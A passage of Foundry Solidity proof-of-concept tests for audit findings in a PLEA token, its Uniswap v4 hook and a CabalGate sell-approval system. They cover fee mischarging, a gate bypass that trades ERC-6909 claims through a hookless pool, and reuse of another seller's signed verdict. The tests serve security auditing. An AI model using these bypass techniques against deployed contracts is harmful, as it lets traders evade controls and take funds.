                sqrtPriceLimitX96: pleaIsZero ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1
            }),
            abi.encode(payer)
        );
        (int128 pleaDelta, int128 imdDelta) = pleaIsZero ? (d.amount0(), d.amount1()) : (d.amount1(), d.amount0());
        uint256 amountIn = uint256(uint128(-pleaDelta));
        uint256 amountOut = uint256(uint128(imdDelta));
        pm.sync(Currency.wrap(address(plea)));
        if (amountIn != 0) plea.transferFrom(payer, address(pm), amountIn);
        pm.settle();
        if (amountOut != 0) pm.take(Currency.wrap(address(imd)), payer, amountOut);
        return abi.encode(amountOut);
    }
}

/// @notice The 0.25% PLEA burn fee on a sell is computed from the requested amount in beforeSwap and
/// is charged even when the pool fills none (or part) of it. A seller whose PLEA did not come from the
/// pool (distributor share) sells 2,500,000 PLEA into a pool holding no IMD: receives 0 IMD, loses
/// 6,250 PLEA. Expected: the fee is a share of what was actually filled, so no fill means no fee.
contract ProofSellFeeOnRequestedTest is Test {
    address constant OWNER = 0x4b91078b2374c956A65F7Af0999CaE0a935E6821;
    PoolManager pm;
    ProofIMD imd;
    ProofStacker stacker;
    PLEA plea;
    CabalGate gate;
    PleaDistributor distributor;
    PleaHook hook;
    ProofRouter router;
    address alice = makeAddr("alice");

    function setUp() public {
        vm.chainId(11155111);
        vm.warp(1_800_000_000);
        vm.roll(1000);
        pm = new PoolManager(address(this));
        imd = new ProofIMD();
        stacker = new ProofStacker(imd);
        plea = new PLEA(OWNER);
        gate = new CabalGate(address(plea), address(imd), address(1));
        distributor = new PleaDistributor(address(plea), OWNER);
        PleaLaunch launch = new PleaLaunch(
            address(plea), address(gate), address(distributor), address(pm), address(imd), address(stacker)
        );
        hook = PleaHook(launch.hook());
        router = new ProofRouter(IPoolManager(address(pm)), hook, imd, plea);
        // alice holds 100,000,000 PLEA from the distributor: none of it came out of the pool
        uint256 amt = 100_000_000e18;
        bytes32 leaf = keccak256(abi.encodePacked(uint256(0), alice, amt));
        vm.prank(OWNER);
        distributor.setMerkleRoot(leaf);
        bytes32[] memory proof;
        distributor.claim(0, alice, amt, proof);
        // the Cabal dies (48h without a verdict) so the sell can go through a plain router
        skip(48 hours + 1);
        vm.roll(vm.getBlockNumber() + 14_400);
        gate.killCabal();
        vm.prank(alice);
        plea.approve(address(router), type(uint256).max);
    }

    function test_noFillMeansNoFee() public {
        assertEq(hook.imdInMarket(), 0, "pool holds no IMD at launch");
        uint256 before = plea.balanceOf(alice);
        vm.prank(alice);
        uint256 out = router.sellExactIn(2_500_000e18);
        assertEq(out, 0, "nothing was filled");
        uint256 lost = before - plea.balanceOf(alice);
        // fee must be a share of the fill (0.25% of 0 PLEA sold = 0), not of the requested amount
        assertEq(lost, 0, "seller charged 0.25% of the requested 2,500,000 PLEA for an empty fill");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/interfaces/IHooks.sol";
import {TickMath} from "v4-core/libraries/TickMath.sol";
import {BalanceDelta} from "v4-core/types/BalanceDelta.sol";
import {Currency} from "v4-core/types/Currency.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {ModifyLiquidityParams, SwapParams} from "v4-core/types/PoolOperation.sol";
import {PLEA} from "src/PLEA.sol";
import {CabalGate} from "src/CabalGate.sol";
import {PleaDistributor} from "src/PleaDistributor.sol";
import {PleaLaunch} from "src/PleaLaunch.sol";
import {PleaHook} from "src/PleaHook.sol";

contract ProofIMD is ERC20 {
    constructor() ERC20("TestIMD", "IMD") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// @dev Buys PLEA from the hook pool but keeps it as ERC-6909 claims; later sells those claims in
/// a hookless PLEA/IMD pool. Neither step moves a PLEA token, so neither the PLEA transfer rule
/// nor the hook's gate check ever runs.
contract ClaimsTrader {
    IPoolManager pm;
    PleaHook hook;
    IERC20 imd;
    address plea;

    constructor(IPoolManager pm_, PleaHook hook_, IERC20 imd_, address plea_) {
        pm = pm_;
        hook = hook_;
        imd = imd_;
        plea = plea_;
    }

    function buyAsClaims(uint256 imdIn) external returns (uint256) {
        return abi.decode(pm.unlock(abi.encode(uint8(1), imdIn, hook.poolKey())), (uint256));
    }

    function sellClaimsHookless(uint256 pleaIn, PoolKey memory key) external returns (uint256) {
        return abi.decode(pm.unlock(abi.encode(uint8(2), pleaIn, key)), (uint256));
    }

    function unlockCallback(bytes calldata raw) external returns (bytes memory) {
        (uint8 action, uint256 amount, PoolKey memory key) = abi.decode(raw, (uint8, uint256, PoolKey));
        bool pleaIsZero = Currency.unwrap(key.currency0) == plea;
        if (action == 1) {
            BalanceDelta d = pm.swap(
                key,
                SwapParams({
                    zeroForOne: !pleaIsZero,
                    amountSpecified: -int256(amount),
                    sqrtPriceLimitX96: !pleaIsZero ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1
                }),
                abi.encode(address(this))
            );
            int128 pleaD = pleaIsZero ? d.amount0() : d.amount1();
            int128 imdD = pleaIsZero ? d.amount1() : d.amount0();
            pm.sync(Currency.wrap(address(imd)));
            imd.transfer(address(pm), uint256(uint128(-imdD)));
            pm.settle();
            pm.mint(address(this), uint256(uint160(plea)), uint256(uint128(pleaD))); // keep as claims
            return abi.encode(uint256(uint128(pleaD)));
        }
        BalanceDelta d2 = pm.swap(
            key,
            SwapParams({
                zeroForOne: pleaIsZero,
                amountSpecified: -int256(amount),
                sqrtPriceLimitX96: pleaIsZero ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1
            }),
            ""
        );
        int128 pD = pleaIsZero ? d2.amount0() : d2.amount1();
        int128 iD = pleaIsZero ? d2.amount1() : d2.amount0();
        pm.burn(address(this), uint256(uint160(plea)), uint256(uint128(-pD))); // pay with claims
        pm.take(Currency.wrap(address(imd)), address(this), uint256(uint128(iD)));
        return abi.encode(uint256(uint128(iD)));
    }
}

/// @dev An ordinary LP adding IMD-only liquidity to a hookless pool.
contract HooklessLp {
    IPoolManager pm;

    constructor(IPoolManager pm_) {
        pm = pm_;
    }

    function add(PoolKey memory key, int24 lower, int24 upper, uint256 liq) external {
        pm.unlock(abi.encode(key, lower, upper, liq));
    }

    function unlockCallback(bytes calldata raw) external returns (bytes memory) {
        (PoolKey memory key, int24 lower, int24 upper, uint256 liq) =
            abi.decode(raw, (PoolKey, int24, int24, uint256));
        (BalanceDelta d,) = pm.modifyLiquidity(
            key, ModifyLiquidityParams({tickLower: lower, tickUpper: upper, liquidityDelta: int256(liq), salt: 0}), ""
        );
        if (d.amount0() < 0) _pay(key.currency0, uint256(uint128(-d.amount0())));
        if (d.amount1() < 0) _pay(key.currency1, uint256(uint128(-d.amount1())));
        return "";
    }

    function _pay(Currency c, uint256 amount) internal {
        pm.sync(c);
        IERC20(Currency.unwrap(c)).transfer(address(pm), amount);
        pm.settle();
    }
}

/// Finding: PLEA bought into ERC-6909 claims can be sold without a plea through a hookless v4 pool.
contract ProofClaimsBypass is Test {
    address constant OWNER = 0x4b91078b2374c956A65F7Af0999CaE0a935E6821;
    address constant SIGNER = 0x70997970C51812dc3A010C7d01b50e0d17dc79C8;

    function test_pleaBoughtAsClaimsCannotBeSoldWithoutAPlea() public {
        vm.chainId(11155111);
        vm.warp(1_800_000_000);
        vm.roll(1000);
        PoolManager pm = new PoolManager(address(this));
        ProofIMD imd = new ProofIMD();
        PLEA plea = new PLEA(OWNER);
        CabalGate gate = new CabalGate(address(plea), address(imd), SIGNER);
        PleaDistributor dist = new PleaDistributor(address(plea), OWNER);
        PleaLaunch launch = new PleaLaunch(
            address(plea), address(gate), address(dist), address(pm), address(imd), address(0x5717ACe8)
        );
        PleaHook hook = PleaHook(launch.hook());
        skip(91 minutes);
        vm.roll(2000);

        // 1. a buyer takes PLEA as ERC-6909 claims instead of tokens
        ClaimsTrader trader = new ClaimsTrader(IPoolManager(address(pm)), hook, imd, address(plea));
        imd.mint(address(trader), 100e18);
        uint256 claims = trader.buyAsClaims(100e18);
        assertGt(claims, 0);

        // 2. anyone opens a hookless PLEA/IMD pool and posts IMD-only liquidity below the price
        PoolKey memory key = hook.poolKey();
        key.hooks = IHooks(address(0));
        key.fee = 3000;
        int24 spot = hook.currentTick();
        pm.initialize(key, TickMath.getSqrtPriceAtTick(spot));
        HooklessLp lp = new HooklessLp(IPoolManager(address(pm)));
        imd.mint(address(lp), 1_000e18);
        bool pleaIsZero = hook.pleaIsZero();
        int24 s = (spot / 60) * 60;
        if (pleaIsZero) lp.add(key, s - 6000, s - 60, 1e22);
        else lp.add(key, s + 120, s + 6000, 1e22);

        // 3. the buyer sells its PLEA claims for IMD there: no plea, no gate, no Cabal.
        // Expected: the sell is refused while the Cabal lives. Actual: it succeeds and pays IMD.
        try trader.sellClaimsHookless(claims, key) returns (uint256 imdOut) {
            assertFalse(plea.cabalDead());
            assertEq(imdOut, 0, "sold PLEA for IMD without a plea while the Cabal lives");
        } catch {}
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {TickMath} from "v4-core/libraries/TickMath.sol";
import {BalanceDelta} from "v4-core/types/BalanceDelta.sol";
import {Currency} from "v4-core/types/Currency.sol";
import {SwapParams} from "v4-core/types/PoolOperation.sol";
import {PLEA} from "src/PLEA.sol";
import {CabalGate} from "src/CabalGate.sol";
import {PleaDistributor} from "src/PleaDistributor.sol";
import {PleaLaunch} from "src/PleaLaunch.sol";
import {PleaHook} from "src/PleaHook.sol";

contract ProofIMD2 is ERC20 {
    constructor() ERC20("TestIMD", "IMD") {}
    function mint(address to, uint256 amount) external { _mint(to, amount); }
}

contract ProofStacker2 {
    IERC20 public imd;
    constructor(IERC20 imd_) { imd = imd_; }
    function credit(address, uint256 amount) external { imd.transferFrom(msg.sender, address(this), amount); }
}

contract ProofRouter2 {
    IPoolManager public pm;
    PleaHook public hook;
    IERC20 public imd;
    IERC20 public plea;
    constructor(IPoolManager pm_, PleaHook hook_, IERC20 imd_, IERC20 plea_) { pm = pm_; hook = hook_; imd = imd_; plea = plea_; }
    /// @return pleaOut for exact-in (amountSpecified < 0), imdIn for exact-out
    function buy(int256 amountSpecified) external returns (uint256) {
        return abi.decode(pm.unlock(abi.encode(msg.sender, amountSpecified)), (uint256));
    }
    function unlockCallback(bytes calldata raw) external returns (bytes memory) {
        require(msg.sender == address(pm), "pm");
        (address payer, int256 amountSpecified) = abi.decode(raw, (address, int256));
        bool pleaIsZero = hook.pleaIsZero();
        bool zeroForOne = !pleaIsZero;
        BalanceDelta d = pm.swap(
            hook.poolKey(),
            SwapParams({
                zeroForOne: zeroForOne,
                amountSpecified: amountSpecified,
                sqrtPriceLimitX96: zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1
            }),
            abi.encode(payer)
        );
        (int128 pleaDelta, int128 imdDelta) = pleaIsZero ? (d.amount0(), d.amount1()) : (d.amount1(), d.amount0());
        uint256 amountIn = uint256(uint128(-imdDelta));
        uint256 amountOut = uint256(uint128(pleaDelta));
        pm.sync(Currency.wrap(address(imd)));
        imd.transferFrom(payer, address(pm), amountIn);
        pm.settle();
        pm.take(Currency.wrap(address(plea)), payer, amountOut);
        return abi.encode(amountSpecified < 0 ? amountOut : amountIn);
    }
}

/// @notice During the launch window the extra buy fee (70% -> 0%) is applied to the specified
/// currency: on exact-in it is 70% of the gross IMD paid, on exact-out it is 70% of the IMD the pool
/// actually receives. Buying the same 1,000,000 PLEA at t=0 therefore costs about 2x more exact-in
/// (~19.97 IMD) than exact-out (~9.83 IMD). Expected: the fee is "on the actual fill" and the
/// two ways of buying the same PLEA cost the same within tick rounding.
contract ProofLaunchFeeAsymmetryTest is Test {
    address constant OWNER = 0x4b91078b2374c956A65F7Af0999CaE0a935E6821;
    PoolManager pm;
    ProofIMD2 imd;
    PLEA plea;
    PleaHook hook;
    ProofRouter2 router;
    address alice = makeAddr("alice");
    address bob = makeAddr("bob");

    function setUp() public {
        vm.chainId(11155111);
        vm.warp(1_800_000_000);
        vm.roll(1000);
        pm = new PoolManager(address(this));
        imd = new ProofIMD2();
        ProofStacker2 stacker = new ProofStacker2(imd);
        plea = new PLEA(OWNER);
        CabalGate gate = new CabalGate(address(plea), address(imd), address(1));
        PleaDistributor distributor = new PleaDistributor(address(plea), OWNER);
        PleaLaunch launch = new PleaLaunch(
            address(plea), address(gate), address(distributor), address(pm), address(imd), address(stacker)
        );
        hook = PleaHook(launch.hook());
        router = new ProofRouter2(IPoolManager(address(pm)), hook, imd, plea);
        imd.mint(alice, 1_000e18);
        imd.mint(bob, 1_000e18);
        vm.prank(alice);
        imd.approve(address(router), type(uint256).max);
        vm.prank(bob);
        imd.approve(address(router), type(uint256).max);
    }

    function test_sameFillCostsTheSameEitherWay() public {
        assertEq(hook.launchExtraBps(), 7_000, "t = 0 of the launch window");
        uint256 target = 1_000_000e18;
        // bob: exact-out for exactly 1,000,000 PLEA
        uint256 snap = vm.snapshotState();
        vm.prank(bob);
        uint256 costExactOut = router.buy(int256(target));
        assertEq(plea.balanceOf(bob), target);
        vm.revertToState(snap);
        // alice: exact-in, the smallest IMD amount that yields at least 1,000,000 PLEA
        uint256 lo = 1e18;
        uint256 hi = 100e18;
        for (uint256 i; i < 40; ++i) {
            uint256 mid = (lo + hi) / 2;
            vm.revertToState(snap);
            vm.prank(alice);
            uint256 g = router.buy(-int256(mid));
            if (g < target) lo = mid;
            else hi = mid;
        }
        vm.revertToState(snap);
        vm.prank(alice);
        uint256 got = router.buy(-int256(hi));
        assertGe(got, target);
        uint256 costExactIn = hi;
        emit log_named_uint("exact-out IMD for 1,000,000 PLEA", costExactOut);
        emit log_named_uint("exact-in  IMD for 1,000,000 PLEA", costExactIn);
        // the same fill must cost the same (within 2%) regardless of how it is specified
        assertApproxEqRel(costExactIn, costExactOut, 2e16, "launch fee charged on gross input, not on the fill");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {OracleAttestation} from "src/OracleAttestation.sol";
import {PLEA} from "src/PLEA.sol";
import {CabalGate} from "src/CabalGate.sol";
import {PleaDistributor} from "src/PleaDistributor.sol";
import {PleaLaunch} from "src/PleaLaunch.sol";

contract ProofIMD2 is ERC20 {
    constructor() ERC20("TestIMD", "IMD") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

contract ProofQuestionBinding is Test {
    address constant OWNER = 0x4b91078b2374c956A65F7Af0999CaE0a935E6821;
    uint256 constant KEY = 0xA11CE;
    string constant TEXT = "Dear Cabal, I held through everything and need a little for rent.";

    ProofIMD2 imd;
    PLEA plea;
    CabalGate gate;
    PleaDistributor dist;
    address alice = makeAddr("alice");
    address bob = makeAddr("bob");

    function setUp() public {
        vm.chainId(11155111);
        vm.warp(1_800_000_000);
        vm.roll(1000);
        PoolManager pm = new PoolManager(address(this));
        imd = new ProofIMD2();
        plea = new PLEA(OWNER);
        gate = new CabalGate(address(plea), address(imd), vm.addr(KEY));
        dist = new PleaDistributor(address(plea), OWNER);
        new PleaLaunch(address(plea), address(gate), address(dist), address(pm), address(imd), address(0x5717ACe8));
        // alice and bob each receive 1,000,000 PLEA from the distributor in the same block
        bytes32 la = keccak256(abi.encodePacked(uint256(0), alice, uint256(1_000_000e18)));
        bytes32 lb = keccak256(abi.encodePacked(uint256(1), bob, uint256(1_000_000e18)));
        vm.prank(OWNER);
        dist.setMerkleRoot(la < lb ? keccak256(abi.encodePacked(la, lb)) : keccak256(abi.encodePacked(lb, la)));
        bytes32[] memory p = new bytes32[](1);
        p[0] = lb;
        dist.claim(0, alice, 1_000_000e18, p);
        p[0] = la;
        dist.claim(1, bob, 1_000_000e18, p);
        skip(2 days);
        vm.roll(2000);
        address[2] memory who = [alice, bob];
        for (uint256 i; i < 2; ++i) {
            imd.mint(who[i], 100e18);
            vm.startPrank(who[i]);
            imd.approve(address(gate), type(uint256).max);
            plea.approve(address(gate), type(uint256).max);
            vm.stopPrank();
        }
    }

    function _att(uint256 questionOf, bool answer, bytes32 rid)
        internal
        view
        returns (OracleAttestation.Attestation memory a, bytes memory sig)
    {
        uint64 toBlock = uint64(vm.getBlockNumber());
        a = OracleAttestation.Attestation({
            requestId: rid,
            chainId: 1,
            questionHash: gate.questionHash(questionOf, toBlock - 300, toBlock),
            answerType: 0,
            answer: abi.encode(answer),
            figure: 0,
            fromBlock: toBlock - 300,
            toBlock: toBlock,
            blockHash: bytes32(uint256(1)),
            panelJobId: rid,
            panelSize: 30,
            quorum: 20,
            agreed: 25,
            issuedAt: uint64(vm.getBlockTimestamp()),
            expiresAt: uint64(vm.getBlockTimestamp() + 3600)
        });
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(KEY, gate.attestationDigest(a));
        sig = abi.encodePacked(r, s, v);
    }

    /// Finding: a verdict signed for one plea is accepted for another seller's plea whose question
    /// text happens to match (same amount, fact score and plea text): nothing binds it to the id.
    function test_verdictForAlicesPleaIsNotAcceptedForBobsPlea() public {
        vm.prank(alice);
        uint256 idA = gate.submitSell(100_000e18, TEXT);
        vm.prank(bob);
        uint256 idB = gate.submitSell(100_000e18, TEXT); // bob copies alice's pending plea
        (OracleAttestation.Attestation memory a, bytes memory sig) = _att(idA, true, keccak256("alice-request"));
        // Expected: the approval the Cabal gave alice cannot be spent on bob's plea.
        // Actual: deliverVerdict(idB, alice's attestation) succeeds and approves bob.
        vm.expectRevert();
        gate.deliverVerdict(idB, a, sig);
    }

}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {OracleAttestation} from "src/OracleAttestation.sol";
import {PLEA} from "src/PLEA.sol";
import {CabalGate} from "src/CabalGate.sol";
import {PleaDistributor} from "src/PleaDistributor.sol";
import {PleaLaunch} from "src/PleaLaunch.sol";

contract ProofIMD2 is ERC20 {
    constructor() ERC20("TestIMD", "IMD") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

contract ProofAppealCooldown is Test {
    address constant OWNER = 0x4b91078b2374c956A65F7Af0999CaE0a935E6821;
    uint256 constant KEY = 0xA11CE;
    string constant TEXT = "Dear Cabal, I held through everything and need a little for rent.";

    ProofIMD2 imd;
    PLEA plea;
    CabalGate gate;
    PleaDistributor dist;
    address alice = makeAddr("alice");
    address bob = makeAddr("bob");

    function setUp() public {
        vm.chainId(11155111);
        vm.warp(1_800_000_000);
        vm.roll(1000);
        PoolManager pm = new PoolManager(address(this));
        imd = new ProofIMD2();
        plea = new PLEA(OWNER);
        gate = new CabalGate(address(plea), address(imd), vm.addr(KEY));
        dist = new PleaDistributor(address(plea), OWNER);
        new PleaLaunch(address(plea), address(gate), address(dist), address(pm), address(imd), address(0x5717ACe8));
        // alice and bob each receive 1,000,000 PLEA from the distributor in the same block
        bytes32 la = keccak256(abi.encodePacked(uint256(0), alice, uint256(1_000_000e18)));
        bytes32 lb = keccak256(abi.encodePacked(uint256(1), bob, uint256(1_000_000e18)));
        vm.prank(OWNER);
        dist.setMerkleRoot(la < lb ? keccak256(abi.encodePacked(la, lb)) : keccak256(abi.encodePacked(lb, la)));
        bytes32[] memory p = new bytes32[](1);
        p[0] = lb;
        dist.claim(0, alice, 1_000_000e18, p);
        p[0] = la;
        dist.claim(1, bob, 1_000_000e18, p);
        skip(2 days);
        vm.roll(2000);
        address[2] memory who = [alice, bob];
        for (uint256 i; i < 2; ++i) {
            imd.mint(who[i], 100e18);
            vm.startPrank(who[i]);
            imd.approve(address(gate), type(uint256).max);
            plea.approve(address(gate), type(uint256).max);
            vm.stopPrank();
        }
    }

    function _att(uint256 questionOf, bool answer, bytes32 rid)
        internal
        view
        returns (OracleAttestation.Attestation memory a, bytes memory sig)
    {
        uint64 toBlock = uint64(vm.getBlockNumber());
        a = OracleAttestation.Attestation({
            requestId: rid,
            chainId: 1,
            questionHash: gate.questionHash(questionOf, toBlock - 300, toBlock),
            answerType: 0,
            answer: abi.encode(answer),
            figure: 0,
            fromBlock: toBlock - 300,
            toBlock: toBlock,
            blockHash: bytes32(uint256(1)),
            panelJobId: rid,
            panelSize: 30,
            quorum: 20,
            agreed: 25,
            issuedAt: uint64(vm.getBlockTimestamp()),
            expiresAt: uint64(vm.getBlockTimestamp() + 3600)
        });
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(KEY, gate.attestationDigest(a));
        sig = abi.encodePacked(r, s, v);
    }

    /// Finding: appeal() skips the 4h cooldown after an executed sell (and after the denial).
    function test_appealRespectsCooldownAfterExecutedSell() public {
        vm.prank(alice);
        uint256 id1 = gate.submitSell(100_000e18, TEXT);
        (OracleAttestation.Attestation memory a, bytes memory sig) = _att(id1, false, keccak256("r1"));
        gate.deliverVerdict(id1, a, sig); // denied
        skip(4 hours);
        vm.prank(alice);
        uint256 id2 = gate.submitSell(100_000e18, TEXT);
        (a, sig) = _att(id2, true, keccak256("r2"));
        gate.deliverVerdict(id2, a, sig);
        vm.prank(alice);
        gate.executeSell(0); // sell executed now
        skip(1 minutes);
        // Expected: no new sell route opens for 4h after an executed sell. Actual: appeal() opens one.
        vm.prank(alice);
        vm.expectRevert();
        gate.appeal(id1, "Please reconsider my first plea, kind Cabal.");
    }
}